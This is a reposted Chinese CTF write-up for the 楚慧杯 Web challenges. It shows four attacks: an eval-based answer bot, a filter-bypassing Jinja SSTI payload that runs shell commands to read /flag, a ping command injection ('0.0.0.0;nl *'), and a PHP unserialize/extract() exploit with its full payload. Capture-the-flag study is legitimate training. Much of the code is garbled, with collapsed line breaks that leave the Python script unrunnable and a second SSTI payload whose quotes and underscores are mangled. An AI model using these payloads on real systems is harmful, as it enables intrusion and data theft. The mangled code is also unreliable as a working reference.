欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 文化 > 楚慧杯-Web

楚慧杯-Web

2025/3/18 19:58:08 来源:https://blog.csdn.net/2301_80148821/article/details/144619372  浏览:    关键词:楚慧杯-Web

Web1

计算器

import requests
r=requests.session()
data={"answer":0}
url=""
for i in range(30):if i==0:r=requests.get(url)d=r.textd=d.split(":")[22][1:].split("<br>")[0]data["answer"]=str(eval(d))print(eval(d))p=r.post(url,data=data)d=p.textd=d.split(":")[22][1:].split("<br>")[0]print(d)

得到flag

Web2

在search那里有个ssti注入点

/search?name=

经测试绕过了import , builtins,cat等

ssti构造

{%print (((g.pop.__globals__.__getitem__('__b''uiltins__')).__getitem__('__i''mport__')('os')).popen('ls')).read()%}

/search?name={%print (((g.pop.globals.getitem(‘b’'uiltins’)).getitem(‘i’'mport’)(‘os’)).popen(‘c’‘at /flag’)).read()%}

得到flag

Web3

首页的源码

<?php173	$pat = "/^(((1?\d{1,2})|(2[0-4]\d)|(25[0-5]))\.){3}((1?\d{1,2})|(2[0-4]\d)|(25[0-5]))/";174	175	if(isset($_POST['lsj'])) {176	    $lsj = $_POST['lsj'];177	    if (empty($_POST['lsj'])) {178	        echo("没C 你让我打你啊");179	    }180	    elseif (preg_match("/[`;\|\&$() \/\'>\"\t]</", $lsj)) {181	        echo("C就C吧,开什么挂啊~");182	    }183	    elseif(!preg_match($pat,$lsj)){184	        echo "格式都不对你怎么C";185	    }186	    elseif(strlen($lsj)>12){187	        echo "谁叫你C这~么长的";188	    }189	    else{190	        @system("ping -c 2 $lsj ");191	    }192	}193	?>

利用下面这个命令,读出其他文件源码

lsj=0.0.0.0;nl%20*

然后读到源码p0pmart.php

<?php
error_reporting(0);
require_once("flag.php");class popmart {public $yuki;public $molly;public $dimoo;public function __construct() {$this->yuki = 'tell me where';$this->molly = 'dont_tell_you';$this->dimoo = "you_can_guess";}public function __wakeup() {global $flag;global $where_you_go;$this->yuki = $where_you_go;if ($this->molly === $this->yuki) {echo $flag;}}
}$pucky = $_GET['wq'];
if (isset($pucky)) {if ($pucky === "二仙桥") {extract($_POST);if ($pucky === "二仙桥") {die("<script>window.alert('说说看,你要去哪??');</script>");}unserialize($pucky);}
}

可以看到p0pmart.php这个文件存在反序列化漏洞,绕过后即可读到Flag。

仔细阅读代码后发现要得到Flag很简单:先传参wq让其等于"二仙桥",而后利用extract函数覆盖变量pubcky让其不等于"二仙桥"即可执行反序列化代码。序列化代码中,__wakeup()函数是在对象被实例化后立即调用的,只要让其中的yuki(即where_you_go)等于molly的值(也就是"dont_tell_you")就可以得到Flag了,那怎么让where_you_go等于我们想要的值呢?还记得我们前面说到的extract变量覆盖吗?

根据上述思路就可以构造Payload,先构造下反序列化内容,直接Copy源代码的popmart类,然后序列化输出即可。

输出payload脚本

<?php
class popmart{public $yuki;public $molly;public $dimoo;public function __construct(){$this->yuki='tell me where';$this->molly='dont_tell_you';$this->dimoo="you_can_guess";}public function __wakeup(){global $flag;global $where_you_go;$this->yuki=$where_you_go;if($this->molly === $this->yuki){echo $flag;}}
}
$exploit = new popmart();
$serialized_exploit = serialize($exploit);
echo $serialized_exploit;
#O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}
?>

payload

GET:
wq=二仙桥POST:
O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}&where_you_go=dont_tell_you

bp发包即可拿到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词